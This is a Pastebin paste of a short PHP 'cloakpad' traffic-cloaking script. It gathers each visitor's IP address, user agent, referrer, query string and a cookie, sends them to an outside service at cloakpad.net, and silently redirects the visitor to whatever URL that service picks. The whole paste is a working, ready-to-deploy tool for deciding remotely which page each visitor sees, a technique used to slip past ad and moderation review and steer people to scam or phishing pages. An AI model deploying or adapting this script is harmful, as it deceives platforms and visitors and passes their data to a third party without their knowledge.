SHARE
TWEET

cloaklink

magiccracker Oct 21st, 2019 94 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!--cloakpad v1.1.0-->
  2.  
  3. <?php
  4. date_default_timezone_set("UTC");
  5. error_reporting(E_ALL & ~E_NOTICE);
  6. header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
  7.  
  8. $date = date("Y-m-d H:i:s");
  9. $qs = $_SERVER["QUERY_STRING"];
  10. $ch = curl_init();
  11.  
  12. $id = "magiccracker_2";
  13. $uid = "magiccracker";
  14.  
  15. $url = "https://cloakpad.net/rpc.php";
  16.  
  17. $data = array(
  18.     "date" => $date,
  19.     "lang" => $_SERVER["HTTP_ACCEPT_LANGUAGE"],
  20.     "ref" => $_SERVER["HTTP_REFERER"],
  21.     "ip" => $_SERVER["REMOTE_ADDR"],
  22.     "ipr" => $_SERVER["HTTP_X_FORWARDED_FOR"],
  23.     "sn" => $_SERVER["SERVER_NAME"],
  24.     "request_uri" => $_SERVER["REQUEST_URI"],
  25.     "query" => $qs,
  26.     "ua" => $_SERVER["HTTP_USER_AGENT"],
  27.     "co" => $_COOKIE["_event"],
  28.     "id" => $id,
  29.     "user_id" => $uid
  30. );
  31.  
  32. curl_setopt_array($ch, array(
  33.     CURLOPT_URL => $url,
  34.     CURLOPT_RETURNTRANSFER => true,
  35.     CURLOPT_POST => true,
  36.     CURLOPT_POSTFIELDS => http_build_query($data),
  37.     CURLOPT_HTTPHEADER => array('Content-Type' => 'application/x-www-form-urlencoded')
  38. ));
  39.  
  40. $result = curl_exec($ch);
  41. curl_close($ch);
  42. $result = explode(",", $result);
  43.  
  44. $querystring = "";
  45. if (!empty($qs)) {
  46.     $querystring = strpos($result[1], "?") ? "&" . $qs : "?" . $qs;
  47. }
  48.  
  49. header("location: " . $result[1] . $querystring, TRUE, 301);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top